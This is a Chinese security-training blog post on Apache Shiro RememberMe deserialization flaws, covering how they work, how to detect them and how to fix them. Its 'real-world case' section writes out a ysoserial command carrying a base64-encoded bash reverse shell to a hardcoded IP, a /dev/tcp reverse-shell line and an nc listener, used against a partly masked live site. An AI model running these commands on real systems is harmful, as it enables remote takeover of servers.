1. 首页
  2. 渗透测试

红蓝对抗中经常被利用的漏洞:shiro反序列化你了解吗?

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。


一.shiro反序列化漏洞介绍


1.漏洞简介

Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。


2.漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:

检索RememberMe Cookie的值

Base 64解码

AES解密(加密密钥硬编码)

进行反序列化操作(未过滤处理)

攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。


3.漏洞防御

升级Shiro到最新版本  WAF拦截Cookie中长度过大的rememberMe值 更改默认密钥



二.Shiro反序列化漏洞识别


1.漏洞检测

1.1验证Shiro框架

首先,使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架。

2. Burp Shiro 漏洞检测插件

BurpShiroPassiveScan 点击下载 提取码:j43f

在BurpSuite的扩展(Extend)中安装并启动Shiro检测插件

当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警

3. Shiro 漏洞检测工具

3.1 工具一:ShiroExploit By 飞鸿

使用工具检测 Shiro-550 漏洞

选择漏洞检测方式

注意在使用回显进行漏洞检测时,会在目标网站上自动生成一个文件其中记录了执行命令的结果,所以不建议在正式环境测试中使用这种检测方式。

检测到目标存在Shiro反序列化漏洞

3.2 工具二:shiro_attack By j1anFen

使用shiro_attack进行爆破Shiro密钥检测漏洞,当目标系统存在漏洞时


2.流量特征

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段


三.修复方法


1.利用过程

hiro默认使用了CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化

然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

payload 构造的顺序则就是相对的反着来:

恶意命令–>序列化–>AES加密–>base64编码–>发送cookie

在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。

2.修复方法

2.1shiro-550

在v1.2.4版本时候爆出的严重的Java反序列化漏洞,具体看:https://issues.apache.org/jira/browse/SHIRO-550。

这个漏洞的成因是shiro的rememberMe功能AES密钥硬编码在代码中,造成密钥泄露。使得恶意攻击者可以利用系统在用户登录并勾选了“记住我”时所生成cookie的流程,构造恶意cookie,服务器收到该cookie后解析出的命令可能会造成信息泄露等安全风险。

我手头项目的管理系统是基于开源的若依管理系统,shiro的秘钥也是硬编码在代码里边的,在github上搜索下就可以拿到(/汗)。而且github上用这个秘钥搜索,居然搜到1K+代码段(/狂汗),很多使用的差不多,拷贝粘贴??

解决办法:官方在v1.2.5版本已经解决了这个漏洞,所以需要升级shiro版本,并且,重要的一点–>> 去掉或者替换默认的秘钥。

以若依shiro配置(ShiroConfig.java)来看,具体在初始化CookieRememberMeManager时候设置。

a.去掉默认秘钥

在ShiroConfig类里边,在上图方法里边将第4行注释即可。

B.替换默认秘钥,这里可以自定义一个,或者使用下边自动生成的方式。

新建类GenerateCipherKey,添加静态方法getCipherKey()。

 在初始化CookieRememberMeManager时候调用。


 


2.2shiro-721

这个漏洞还是Java反序列化问题,比较严重,并且影响范围也很广,涉及到的版本也很多,具体看下图。

 

这个漏洞的成因是使用AES加密模式CBC导致的。详细情况官方已给出:

RememberMe使用AES-128-CBC模式加密,容易受到Padding Oracle攻击,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,就像SHIRO-550漏洞一样。

具体利用这个漏洞攻击方式和原理,大家可以参考下文章:《从更深层面看Shiro Padding Oracle漏洞》(https://www.anquanke.com/post/id/203869)

解决办法:升级shiro版本大于等于v1.4.2。


四.实战案例

1.网站环境

域名:http://manage.xxxxxx.org.cn/xxx /login.jsp

程序语言:jsp

这仅仅是一个登录框的测试。

2.探测登录框架

开启神奇Burp,抓包,通过返回包的情况来进行分析(敏感信息打码)

3.步入洞点

    当看到关键字rememberMe=deleteMe;,你是否就会想起Shiro反序列化漏洞,那么我们现在用实验室的集成脚本进行测试,是否存在Shiro反序列化漏洞。这里相当于先提供POC测试。

首先burp做监听器:

然后使用脚本进行测试:

经过测试,是存在Shiro反序列化漏洞的。

4.深入探测Shiro反序列化漏洞

    这边的目的,就是危害最大程度,那么我就继续进行测试,最严重的模式,也就是直接拿到主机shell,这边也提供最详细的操作,以及遇到的一些坑点作为分享。

思路:一台公网的vps做监听,配合burp发送payload,然后获取shell。

4.1在公网 vps 执行下列命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “反弹shell的命令”

这里的命令,需要使用 Java Runtime 配合 bash 编码。

bash -i > /dev/tcp/ip/port 0>& 1

最终执行命令为:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMTIuNjQuODcuMy8xMjM0IDA+JiAx}|{base64,-d}|{bash,-i}”

这里的CommonsCollections,分为1-10模块进行测试,这边使用模块5进行渗透。

4.2使用 exp 生成 payload

    Python exp.py 公网ip:port(这边有一点要避雷)

4.3公网 vps 开启 nc 监听

Nc -lvp 1234    (监听1234端口)

4.4抓任意 http 数据包,在 cookie 中追加 payload。GoGoGo


4.5成功拿到shell


五.总结


在shiro≤1.2.4版本,默认使CookieRememberMeManager,由于AES使用的key泄露,导致反序化的cookie可控,从而引发反序化攻击。(理论上只要AES加密钥泄,都会导致反序化)

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/6358.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息